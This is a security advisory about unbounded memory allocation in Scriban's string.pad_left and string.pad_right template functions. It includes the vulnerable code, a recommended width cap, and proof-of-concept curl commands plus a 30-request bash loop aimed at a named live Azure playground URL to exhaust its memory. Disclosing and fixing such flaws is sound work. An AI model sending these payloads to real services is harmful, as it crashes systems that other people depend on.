Scriban: Uncontrolled Memory Allocation via string.pad_left/pad_right Allows Remote Denial of Service

Summary

The built-in string.pad_left and string.pad_right template functions in Scriban perform no validation on the width parameter, allowing a template expression to allocate arbitrarily large strings in a single call. When Scriban is exposed to untrusted template input — as in the official Scriban.AppService playground deployed on Azure — an unauthenticated attacker can trigger ~1GB memory allocations with a 39-byte payload, crashing the service via OutOfMemoryException.

Details

StringFunctions.PadLeft and StringFunctions.PadRight (src/Scriban/Functions/StringFunctions.cs:1181-1203) directly delegate to .NET's String.PadLeft(int) / String.PadRight(int) with no bounds checking:

// src/Scriban/Functions/StringFunctions.cs:1181-1183
public static string PadLeft(string text, int width)
{
    return (text ?? string.Empty).PadLeft(width);
}

// src/Scriban/Functions/StringFunctions.cs:1200-1202
public static string PadRight(string text, int width)
{
    return (text ?? string.Empty).PadRight(width);
}

The TemplateContext.LimitToString property (default 1MB, set at TemplateContext.cs:147) does not prevent the allocation. This limit is only checked during ObjectToString() conversion (TemplateContext.Helpers.cs:101-103), which runs after the string has been fully allocated by PadLeft/PadRight. The dangerous allocation is the return value of a built-in function — it occurs before output rendering.

The Scriban.AppService playground (src/Scriban.AppService/Program.cs:63-140) exposes POST /api/render with:

• No authentication
• Template size limit of 1KB (line 71) — the payload fits in 39 bytes
• A 2-second timeout via CancellationTokenSource (line 118) — but this only cancels the await Task.Run(...), not the running template.Render() call (line 122). The BCL PadLeft allocation completes atomically before the cancellation can take effect.
• Rate limiting of 30 requests/minute (line 25)

PoC

Single request to crash or degrade the AppService:

curl -X POST https://scriban-a7bhepbxcrbkctgf.canadacentral-01.azurewebsites.net/api/render \
  -H "Content-Type: application/json" \
  -d '{"template": "{{ \u0027\u0027 | string.pad_left 500000000 }}"}'

This 39-byte template causes PadLeft(500000000) to attempt allocating a 500-million character string (~1GB in .NET's UTF-16 encoding).

Expected result: The service returns an error or truncated output safely.

Actual result: The .NET runtime attempts a ~1GB allocation. Depending on available memory, this either succeeds (consuming ~1GB until GC), or throws OutOfMemoryException crashing the process.

Sustained attack with rate limiting:

# 30 requests/minute × ~1GB each = ~30GB/minute of memory pressure
for i in $(seq 1 30); do
  curl -s -X POST https://scriban-a7bhepbxcrbkctgf.canadacentral-01.azurewebsites.net/api/render \
    -H "Content-Type: application/json" \
    -d '{"template": "{{ \u0027\u0027 | string.pad_left 500000000 }}"}' &
done
wait

The string.pad_right variant works identically:

curl -X POST https://scriban-a7bhepbxcrbkctgf.canadacentral-01.azurewebsites.net/api/render \
  -H "Content-Type: application/json" \
  -d '{"template": "{{ \u0027\u0027 | string.pad_right 500000000 }}"}'

Impact

• Remote denial of service against any application that renders untrusted Scriban templates, including the official Scriban playground at scriban-a7bhepbxcrbkctgf.canadacentral-01.azurewebsites.net.
• An unauthenticated attacker can crash the hosting process via OutOfMemoryException with a single HTTP request.
• With sustained requests at the rate limit (30/min), the attacker can maintain continuous memory pressure (~30GB/min), preventing service recovery.
• The existing LimitToString and timeout mitigations do not prevent the intermediate memory allocation.

Recommended Fix

Add width validation in StringFunctions.PadLeft and StringFunctions.PadRight to cap the maximum allocation. A reasonable upper bound is the LimitToString value from the TemplateContext, or a fixed maximum if the context is not available:

// src/Scriban/Functions/StringFunctions.cs

// Option 1: Fixed reasonable maximum (simplest fix)
public static string PadLeft(string text, int width)
{
    if (width < 0) width = 0;
    if (width > 1_048_576) width = 1_048_576; // 1MB cap
    return (text ?? string.Empty).PadLeft(width);
}

public static string PadRight(string text, int width)
{
    if (width < 0) width = 0;
    if (width > 1_048_576) width = 1_048_576; // 1MB cap
    return (text ?? string.Empty).PadRight(width);
}

Alternatively, make the functions context-aware and use LimitToString as the cap, consistent with how other Scriban limits work. The AppService should also be updated to run template rendering in a memory-limited container or AppDomain to provide defense-in-depth.